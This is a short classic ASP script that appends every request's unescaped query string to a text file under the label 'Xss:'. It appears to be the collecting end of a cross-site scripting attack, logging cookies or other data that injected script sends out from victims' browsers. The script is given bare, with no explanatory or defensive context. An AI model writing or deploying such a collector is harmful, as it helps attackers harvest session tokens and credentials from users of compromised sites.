dim fso,file,str　　　　　　　　
str=unescape(request.Servervariables("QUERY_STRING"))　　　　
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.CreateObject("Scripting.FileSystemObject")　
path = server.mappath("xxx.txt")　　　　　
set file=fso.opentextfile(path, ForAppending, TRUE)　　　
file.write("Xss:")
file.write(str)　　　　　　　　
file.write vbCrLf　　　　　　　
file.close
set file = nothing　　　　　　　　
set fso = nothing